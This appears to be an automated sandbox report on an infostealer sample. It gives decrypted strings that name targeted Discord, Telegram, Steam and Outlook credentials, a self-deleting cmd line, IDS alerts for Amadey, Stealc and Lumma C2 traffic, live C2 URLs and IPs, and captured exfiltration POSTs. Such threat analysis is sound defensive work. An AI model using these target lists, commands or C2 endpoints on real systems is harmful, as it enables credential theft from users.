Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - Display Resolution:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: - GPU:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: User Agents:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Installed Apps:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: All Users:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Current User:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Process List:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: system_info.txt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: freebl3.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: mozglue.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: msvcp140.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: nss3.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: softokn3.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: vcruntime140.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Temp\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: .exe
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: runas
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: open
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: /c start
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %DESKTOP%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %APPDATA%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %USERPROFILE%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %DOCUMENTS%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: %RECENT%
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: *.lnk
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: files
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \discord\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Telegram Desktop\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: key_datas
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: map*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Telegram
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Tox
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: *.tox
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: *.ini
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Password
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 00000001
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 00000002
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 00000003
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: 00000004
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Pidgin
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \.purple\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: accounts.xml
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: token:
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Software\Valve\Steam
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: SteamPath
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \config\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ssfn*
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: config.vdf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DialogConfig.vdf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: libraryfolders.vdf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: loginusers.vdf
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Steam\
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: sqlite3.dll
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: done
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: soft
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: https
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: POST
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: HTTP/1.1
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: hwid
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: build
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: token
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: file_name
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: file
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: message
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack	String decryptor: screenshot.jpg

Source: oTZfvSwHTq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.8:49714 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49718 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49716 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49704 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49705 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49704 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49706 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:41:17 GMTContent-Type: application/octet-streamContent-Length: 5180416Last-Modified: Fri, 27 Dec 2024 06:37:21 GMTConnection: keep-aliveETag: "676e4b21-4f0c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 4f 00 00 04 00 00 46 6a 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 6f 73 76 62 6f 70 64 00 40 2a 00 00 c0 24 00 00 40 2a 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 76 65 6d 75 67 64 74 00 10 00 00 00 00 4f 00 00 06 00 00 00 e4 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 4f 00 00 22 00 00 00 ea 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 07:41:26 GMTContent-Type: application/octet-streamContent-Length: 3273216Last-Modified: Fri, 27 Dec 2024 06:37:29 GMTConnection: keep-aliveETag: "676e4b29-31f200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 a0 8b 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 e2 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 e2 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 63 6c 6a 66 68 79 6b 00 40 2b 00 00 b0 06 00 00 34 2b 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 71 75 6e 65 70 6e 6d 00 10 00 00 00 f0 31 00 00 04 00 00 00 cc 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 d0 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 46 31 42 30 35 45 32 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"D9CF1B05E2E64120021454------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"stok------FIIIIDGHJEBFBGDHDGII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
